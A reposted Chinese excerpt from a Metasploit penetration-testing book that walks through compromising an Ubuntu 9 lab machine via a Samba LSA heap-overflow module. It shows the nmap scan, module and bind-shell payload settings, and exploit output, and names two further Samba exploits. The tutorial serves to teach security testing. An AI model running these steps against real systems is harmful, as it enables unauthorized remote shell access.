《Metasploit渗透测试手册》—第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.7 对Linux(Ubuntu)机器进行攻击渗透
Metasploit渗透测试手册
Linux是继Windows之后应用广泛的操作系统之一,在前面几节中,我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透,本节将关注Linux操作系统漏洞,示例针对的是Ubuntu 9,工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。

准备
首先对Linux目标机器进行扫描,收集可用服务信息。使用Nmap进行快速扫描并分析其结果。

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) 
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/)

收集到目标相关的信息后,为其选择漏洞利用代码和合适的攻击载荷。

怎样实现
对Linux机器的渗透过程与Windows类似,采用如下步骤。

(1)主要任务是选择正确的漏洞利用代码和攻击载荷,可以在Metasploit目录中搜索可用的Samba漏洞利用代码。

msf > search Samba
(2)该命令将返回各种有关Samba的辅助模块和漏洞利用代码模块列表,选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块,因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态,并设置必要的参数。

msf > use exploit/linux/samba/lsa_transnames_heap
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                      yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Exploit target:
   Id  Name
   --  ----
   0   Linux vsyscall
msf  exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf  exploit(lsa_transnames_heap) >

(3)接下来选择合适的攻击载荷,要记住的是,我们的目标是Linux机器,因此必须选择Linux攻击载荷。选择使用的是linux/x86/shell_bind_tcp payload,其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。

msf  exploit(lsa_transnames_heap) > set payload linux/x86/shell_
bind_tcp 
payload => linux/x86/shell_bind_tcp
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.101    yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444               yes      The listen port
   RHOST  192.168.56.101     no       The target address
(4)各种选项已设置完毕,最后使用exploit命令进行攻击渗透过程。

msf  exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

漏洞利用代码成功执行后,将建立攻击方机器到目标方机器的shell连接,这一过程与前面章节中讨论的过程非常类似,唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多,对这些概念的理解就会越好。

怎样工作
下面对Samba服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用talloc chunk重写方法(credit Ramon and Adriano),该方法只适用在Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况,因此可以多次尝试。

更多
下面介绍其他一些与Linux操作系统相关的漏洞利用模块。

其他与Linux相关的漏洞利用模块
除了本节讨论的漏洞利用模块之外,还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。

Samba chain_reply内存损坏漏洞:该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现。

Samba trans2open溢出:这是Samba2.2.0版本到2.2.8版本中普遍存在的一个缓冲区溢出漏洞,其工作原理是利用没有noexec栈选项的x86 Linux机器中的漏洞。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
1月前
|
Ubuntu Java 测试技术
【Linux】一站式教会:Ubuntu(无UI界面)使用apache-jmeter进行压测
【Linux】一站式教会:Ubuntu(无UI界面)使用apache-jmeter进行压测
|
2月前
|
缓存 运维 网络协议
Linux内核参数调优以应对SYN攻击
Linux内核参数调优以应对SYN攻击
43 3
|
16天前
|
人工智能 Ubuntu 机器人
【ubuntu】 Linux(ubuntu)创建python的虚拟环境
【ubuntu】 Linux(ubuntu)创建python的虚拟环境
|
16天前
|
Ubuntu Unix Linux
【Linux/Ubuntu】Linux/Ubuntu运行python脚本
【Linux/Ubuntu】Linux/Ubuntu运行python脚本
|
17天前
|
Ubuntu Linux 虚拟化
【Linux】ubuntu安装samba服务器
【Linux】ubuntu安装samba服务器
|
2月前
|
JavaScript Ubuntu Linux
Linux ubuntu安装nodejs/npm
Linux ubuntu安装nodejs/npm
|
2月前
|
Ubuntu 网络协议 Linux
【Linux】Android平板上远程连接Ubuntu服务器code-server进行代码开发
【Linux】Android平板上远程连接Ubuntu服务器code-server进行代码开发
48 0
|
3月前
|
Ubuntu 安全 Linux
Linux/Ubuntu 的日常升级和安全更新,如何操作?
Linux/Ubuntu 的日常升级和安全更新,如何操作?
64 0
Linux/Ubuntu 的日常升级和安全更新,如何操作?
|
3月前
|
安全 Linux 测试技术
深入Kali Linux:高级渗透测试技术详解
深入Kali Linux:高级渗透测试技术详解
157 0
|
3月前
|
Ubuntu Linux Windows
window10 虚拟机 linux ubuntu 环境下samba服务器配置
本文的目的是在windows 10 系统,使用samba服务实现 windows 10共享虚拟机ubuntu系统的文件。
42 0